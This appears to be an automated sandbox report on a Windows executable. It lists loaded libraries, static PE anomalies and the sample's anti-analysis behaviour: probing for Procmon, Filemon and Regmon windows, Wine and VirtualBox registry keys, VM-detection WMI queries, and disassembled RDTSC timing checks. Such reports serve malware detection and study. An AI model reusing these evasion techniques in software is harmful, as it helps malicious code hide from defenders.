Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: COBYmpzi7q.exe

Static file information: File size 3011584 > 1048576

Source: COBYmpzi7q.exe

Static PE information: Raw size of vxcidofw is bigger than: 0x100000 < 0x2b5800

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: COBYmpzi7q.exe

Static PE information: real checksum: 0x2eee1d should be: 0x2e4bff

Source: COBYmpzi7q.exe	Static PE information: section name:
Source: COBYmpzi7q.exe	Static PE information: section name: .rsrc
Source: COBYmpzi7q.exe	Static PE information: section name: .idata
Source: COBYmpzi7q.exe	Static PE information: section name: vxcidofw
Source: COBYmpzi7q.exe	Static PE information: section name: ebkribhg
Source: COBYmpzi7q.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0108CAE4 pushad ; retf	0_3_0108CAF1
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0108CAE4 pushad ; retf	0_3_0108CAF1
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0108CAE4 pushad ; retf	0_3_0108CAF1
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0108CAE4 pushad ; retf	0_3_0108CAF1
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0108CAE4 pushad ; retf	0_3_0108CAF1
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0108CAE4 pushad ; retf	0_3_0108CAF1
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0108CAE4 pushad ; retf	0_3_0108CAF1
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0108CAE4 pushad ; retf	0_3_0108CAF1
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0108CAE4 pushad ; retf	0_3_0108CAF1

Source: COBYmpzi7q.exe

Static PE information: section name: entropy: 7.983013580182764

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: A29159 second address: A29167 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: A29167 second address: A2917C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB50AB second address: BB50B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB50B2 second address: BB50D0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5D5D24D0D5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB50D0 second address: BB50D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB49CC second address: BB4A08 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5D5D24D0C6h 0x00000008 jmp 00007F5D5D24D0CFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F5D5D24D0D6h 0x0000001a push eax 0x0000001b pop eax 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB4A08 second address: BB4A0E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB4A0E second address: BB4A13 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB633C second address: BB6340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB6340 second address: A28973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 27B8DC56h 0x0000000e sbb ecx, 2A3530BFh 0x00000014 push dword ptr [ebp+122D09C5h] 0x0000001a call dword ptr [ebp+122D2792h] 0x00000020 pushad 0x00000021 add dword ptr [ebp+122D1F15h], ecx 0x00000027 xor eax, eax 0x00000029 pushad 0x0000002a mov dl, 20h 0x0000002c mov dword ptr [ebp+122D26B3h], ebx 0x00000032 popad 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 pushad 0x00000038 call 00007F5D5D24D0D7h 0x0000003d jc 00007F5D5D24D0C6h 0x00000043 pop edx 0x00000044 jmp 00007F5D5D24D0D3h 0x00000049 popad 0x0000004a mov dword ptr [ebp+122D2994h], eax 0x00000050 sub dword ptr [ebp+122D1C54h], edx 0x00000056 mov esi, 0000003Ch 0x0000005b or dword ptr [ebp+122D36F4h], edx 0x00000061 add esi, dword ptr [esp+24h] 0x00000065 jl 00007F5D5D24D0E2h 0x0000006b jc 00007F5D5D24D0DCh 0x00000071 jmp 00007F5D5D24D0D6h 0x00000076 lodsw 0x00000078 pushad 0x00000079 jmp 00007F5D5D24D0D4h 0x0000007e push edx 0x0000007f mov dword ptr [ebp+122D1C54h], ecx 0x00000085 pop ebx 0x00000086 popad 0x00000087 add eax, dword ptr [esp+24h] 0x0000008b clc 0x0000008c mov ebx, dword ptr [esp+24h] 0x00000090 add dword ptr [ebp+122D2889h], edi 0x00000096 nop 0x00000097 push edx 0x00000098 push eax 0x00000099 push edx 0x0000009a pushad 0x0000009b popad 0x0000009c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB6390 second address: BB63D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D372Eh], eax 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F5D5CF5ECE8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d adc ecx, 4808B447h 0x00000033 call 00007F5D5CF5ECE9h 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b jnl 00007F5D5CF5ECE6h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB63D9 second address: BB63F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB63F8 second address: BB63FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB63FC second address: BB641D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jno 00007F5D5D24D0CEh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB641D second address: BB6422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB6422 second address: BB6454 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F5D5D24D0CDh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F5D5D24D0D5h 0x0000001b jmp 00007F5D5D24D0CFh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB6564 second address: BB65AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F5D5CF5ECE8h 0x0000000c popad 0x0000000d nop 0x0000000e call 00007F5D5CF5ECEFh 0x00000013 or dword ptr [ebp+122D28C5h], ebx 0x00000019 pop edi 0x0000001a push 00000000h 0x0000001c jmp 00007F5D5CF5ECF6h 0x00000021 push 6BCF6738h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB65AE second address: BB65B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB65B3 second address: BB65BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5D5CF5ECE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB66C5 second address: BB6702 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5D5D24D0CCh 0x00000008 js 00007F5D5D24D0C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 movsx edx, cx 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 pushad 0x0000001a mov cx, A641h 0x0000001e movsx ecx, si 0x00000021 popad 0x00000022 pop edi 0x00000023 call 00007F5D5D24D0CBh 0x00000028 pop edi 0x00000029 push 7CB9AF28h 0x0000002e push ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 jng 00007F5D5D24D0C6h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BB6702 second address: BB6706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BC9628 second address: BC962D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BC962D second address: BC9632 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BA9AEA second address: BA9AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BA9AEE second address: BA9AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BA9AF2 second address: BA9B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F5D5D24D0CEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD6D31 second address: BD6D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD6D35 second address: BD6D48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD6EA2 second address: BD6ECA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F5D5CF5ECEEh 0x0000000c je 00007F5D5CF5ECE6h 0x00000012 pushad 0x00000013 popad 0x00000014 jno 00007F5D5CF5ECEEh 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD6ECA second address: BD6ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD7073 second address: BD7079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD7079 second address: BD7085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5D5D24D0C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD733B second address: BD7345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5D5CF5ECE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD7345 second address: BD7369 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5D5D24D0C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5D5D24D0CBh 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 jl 00007F5D5D24D0C6h 0x0000001b pushad 0x0000001c popad 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD7369 second address: BD7383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECF4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD7383 second address: BD7387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD790B second address: BD7911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BCEA07 second address: BCEA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: B95673 second address: B95677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD84CA second address: BD84D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD84D0 second address: BD84D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD84D4 second address: BD84FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F5D5D24D0DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD84FA second address: BD84FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD84FE second address: BD850B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD850B second address: BD851E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEDh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD851E second address: BD853A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5D5D24D0D2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD853A second address: BD853E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD853E second address: BD8542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD8681 second address: BD8685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD8685 second address: BD869F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5D5D24D0D4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BD8A71 second address: BD8A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BDB6CB second address: BDB6CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE2F93 second address: BE2F99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE2F99 second address: BE2F9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE28AA second address: BE28B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE28B0 second address: BE28D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE2B6E second address: BE2B93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F5D5CF5ECE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F5D5CF5ECF2h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE2E2A second address: BE2E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE2E2E second address: BE2E34 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE49CB second address: BE49CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
